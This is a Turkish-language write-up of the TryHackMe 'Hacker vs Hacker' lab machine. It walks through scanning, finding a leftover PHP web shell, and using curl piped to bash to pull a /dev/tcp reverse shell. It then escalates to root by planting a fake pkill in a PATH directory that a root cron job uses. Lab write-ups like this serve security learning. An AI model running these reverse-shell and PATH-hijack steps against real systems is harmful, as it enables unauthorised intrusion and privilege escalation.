TryHackMe – Hacker vs Hacker Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Hacker vs Hacker” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.237.23    
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-07 20:16 +03
Nmap scan report for 10.10.237.23
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2 — Web sitesine girdiğim zaman CV yüklemek için bir dosya yükleme butonu görüyorum. PHP reverse shell yüklemeye çalıştığımda ise “Hacked! If you dont want me to upload my shell, do better at filtering!” uyarı veriyor. Açılan ekranda sayfa kaynağıni incelediğim zaman
sadece “pdf” uzantılı dosya yüklenebildiğini anlıyorum.

if (!strpos($target_file, ".pdf")) {
  echo "Only PDF CVs are accepted.";
} else if (file_exists($target_file)) {
  echo "This CV has already been uploaded!";
} else if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
  echo "Success! We will get back to you.";
} else {
  echo "Something went wrong :|";
}

3 — PDF uzantılı bir shell yüklemeye çalışsamda yine aynı uyarıyı alıyorum. Bundan sonra bir dizin taraması başlatıyorum. Yüklemeye çalıştığım dosyaların “cvs” dizininde tutulabileceğini düşünüyorum.

[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.237.23 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.237.23
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/07 20:26:59 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 310] [--> http://10.10.237.23/css/]
/cvs                  (Status: 301) [Size: 310] [--> http://10.10.237.23/cvs/]
/dist                 (Status: 301) [Size: 311] [--> http://10.10.237.23/dist/]
/images               (Status: 301) [Size: 313] [--> http://10.10.237.23/images/]
/index.html           (Status: 200) [Size: 3413]

4 — cvs dizinine gittiğim zaman ise “Directory listing disabled” uyarısı alıyorum. Daha sonra bu dizindeki dosyaları bulabilmek için “fuzz” işlemi başlatıyorum. cvs dizinin içinde shell.pdf.php adında bir dosya buluyorum.

[root:/home/alper/Desktop/TRYHACKME]# wfuzz -w /usr/share/wordlists/dirb/common.txt --hc=404 "http://10.10.237.23/cvs/FUZZ.pdf.php"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.237.23/cvs/FUZZ.pdf.php
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000013:   403        9 L      28 W       277 Ch      ".htpasswd"                                          
000000012:   403        9 L      28 W       277 Ch      ".htaccess"                                          
000000011:   403        9 L      28 W       277 Ch      ".hta"                                               
000003621:   200        1 L      2 W        18 Ch       "shell"                                              

Total time: 0
Processed Requests: 4614
Filtered Requests: 4610
Requests/sec.: 0

5 — Bu shell dosyası ile cvs dizinin altına bir reverse shell dosyası indirip çalıştırarak shell bağlantısı elde ediyorum. Shell dosyası:

#!/bin/bash
bash -i >& /dev/tcp/10.8.94.51/4444 0>&1
http://10.10.237.23/cvs/shell.pdf.php?cmd=curl%20http://10.8.94.51:8000/shell.sh%20|%20bash
[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.237.23 45488
bash: cannot set terminal process group (770): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b2r:/var/www/html/cvs$

6 — Home dizininde “lachlan” adında bir kullanıcının dizinini görüyorum. İçine girip “bash_history” dosyasını okuduğumda passwd komutu ile bir parola yenileme işlemi yapıldığını görüyorum. O parola ile “lachlan” kullanıcısına geçiş yapıyorum.

www-data@b2r:/var/www/html/cvs$ cd /home
cd /home
www-data@b2r:/home$ ls
ls
lachlan
www-data@b2r:/home$ cd lachlan
cd lachlan
www-data@b2r:/home/lachlan$ ls -la
ls -la
total 36
drwxr-xr-x 4 lachlan lachlan 4096 May  5  2022 .
drwxr-xr-x 3 root    root    4096 May  5  2022 ..
-rw-r--r-- 1 lachlan lachlan  168 May  5  2022 .bash_history
-rw-r--r-- 1 lachlan lachlan  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lachlan lachlan 3771 Feb 25  2020 .bashrc
drwx------ 2 lachlan lachlan 4096 May  5  2022 .cache
-rw-r--r-- 1 lachlan lachlan  807 Feb 25  2020 .profile
drwxr-xr-x 2 lachlan lachlan 4096 May  5  2022 bin
-rw-r--r-- 1 lachlan lachlan   38 May  5  2022 user.txt
www-data@b2r:/home/lachlan$ cat .bash_history
cat .bash_history
./cve.sh
./cve-patch.sh
vi /etc/cron.d/persistence
echo -e "dHY5pzmNYoETv7SUaY*CENSORED*" | passwd
ls -sf /dev/null /home/lachlan/.bash_history

7 — Kullanıcı dizininde ilk bayrağı buluyorum.

www-data@b2r:/home/lachlan$ su lachlan
su lachlan
Password: *CENSORED*
ls
bin
user.txt
SHELL=/bin/bash script -q /dev/null
lachlan@b2r:~$ cat user.txt
cat user.txt
*CENSORED*

8 — Kullanıcı dizinin altında “bin” klasörünün içinde bir backup.sh isminde script görüyorum. Bu script düzenli çalıştırıldığını anlamak için “/etc/cron.d/persistence” dosyasını okuyorum.

Aşağıdaki çıktı da şunu anlıyoruz. Root kullanıcısı ile ilk olarak “/home/lachlan” dizinini kaynak alarak komutları çalıştırır. Bu satırlar, çeşitli zamanlarda (her dakika) belirli işlemleri gerçekleştirmek için planlanmış cron işleridir. Her satırda, “/bin/sleep” komutu kullanılarak belirli bir süre beklenir ve ardından “”/bin/ls /dev/pts” komutu ile “/dev/pts” dizinindeki terminal oturumları listelenir. Daha sonra “for” döngüsü kullanılarak her oturum için “/usr/bin/echo nope > /dev/pts/$f” komutu çalıştırılır. Bu komut, “nope” kelimesini ilgili terminal oturumuna gönderir. Son olarak, “pkill” komutuyla ilgili terminal oturumunu sonlandırır.

cat /etc/cron.d/persistence
PATH=/home/lachlan/bin:/bin:/usr/bin
# * * * * * root backup.sh
* * * * * root /bin/sleep 1  && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done

9 — “pkill” komutunu suistimal etmek için “pkill” isminde bir dosya açarak içine bir reverse shell kodu koyuyarım. Root kullanıcısı ile “pkill” komutu çağrıldığı anda bu shell bağlantısı tetiklenecek.

www-data@b2r:/home/lachlan$ echo "bash -c 'bash -i >& /dev/tcp/10.8.94.51/4445 0>&1'" > /home/lachlan/bin/pkill

www-data@b2r:/home/lachlan$ chmod +x /home/lachlan/bin/pkill

10 — Root shelli elde ettikten sonra ikinci bayrağı elde ediyorum.

bash: no job control in this shell
root@b2r:~# ls
ls
root.txt
snap
root@b2r:~# cat root.txt
cat root.txt
**CENSORED**